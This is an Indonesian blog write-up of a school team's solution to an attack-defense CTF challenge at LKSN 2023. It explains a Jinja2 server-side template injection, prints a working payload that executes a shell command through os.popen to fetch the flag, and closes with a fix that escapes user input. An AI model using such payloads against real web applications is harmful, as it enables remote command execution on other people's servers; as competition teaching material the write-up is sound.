[Day 2] LKSN 2023 Cyber Securtiy

Hari kedua LKSN 2023 adalah Attack & Defense. CTF Attack-Defense adalah jenis kompetisi keamanan cyber di mana setiap tim diberikan sistem yang harus mereka pertahankan (defense) sambil mencoba menyerang (attack) sistem lawan. Berikut adalah beberapa penyelesaian dari smk telkom malang.

 

Terdapat sebuah web server pada port 500 yang dijalankan dengan framework template python jinja2, berikut adalah source code nya.

sc jinja

 

Vulnerability

Pada endpoint /welcome, kita dapat membuat request POST dengan query ‘name’ dengan input apapun, dan input tersebut akan di render menggunakan render_template() dari jinja2. Namun, karena input kita tidak ada sanitasi sama sekali, maka kita bisa melakukan serangan Server-side Template Injection (SSTI).

 

 

 

Server-side Template Injection merupakan celah yang muncul framework template seperti jinja2 jika program tidak melakukan sanitasi terhadap input user sebagai argumen dalam fungsi render template milik framework.

Attack 

Pertama, kita lihat isi dari command ‘takeflag’, program yang memberikan flag kepada kita ketika sudah berhasil mendapatkan shell.

Terlihat bahwa program akan mengirim request GET melalui sebuah url yang berada di dalam environment variable bernama “FLAG_GATEWAY” atau berdasarkan argumen pertama yang dikirimkan ke program tersebut, yang kemudian akan menghasilkan response berupa flag.

Setelah diulik lagi, ternyata variable FLAG_GATEWAY di set dalam file .bashrc di direktori home user. Jadi masing-masing user (ubuntu/root) memiliki FLAG_GATEWAY sendiri.

Jadi kita bisa langsung menjalankan command ‘takeflag’ tanpa perlu fully-upgraded shell dengan argumen atau variabel FLAG_GATEWAY.

Payload
{{ lipsum. _globals _[“os”].popen(‘takeflag FLAG_GATEWAY%3dhttps%3a%2f%2f7lmli1sfd0.execute-api.ap-southeast-1.ama zonaws.com%2fstable%2froot_flag’).read() }}

Otomasi solver dapat dilihat disini: https://pastebin.com/3FMVdWwT

Defense

Untuk mencegah celah ini sangatlah mudah. Ubah “ini template yaa {}”.format(nama) menjadi render_template_string(“ini template yaa {{ nama }}”, nama=nama)

Maka parameter akan otomatis di escape oleh Jinja 2.
Contoh, seperti di bawah:

Untuk lebih lanjutnya, kalian bisa buka pada link dibawah ini :

https://drive.google.com/file/d/19VbRd53Ouvy9SwckfD5KUGg39KyQQGOn/view?usp=sharing

https://drive.google.com/file/d/1CrRyojQqe73FjZmxNx9lA-M4uJb57hQO/view?usp=sharing

 

About Athar

Leave a Reply

Your email address will not be published. Required fields are marked *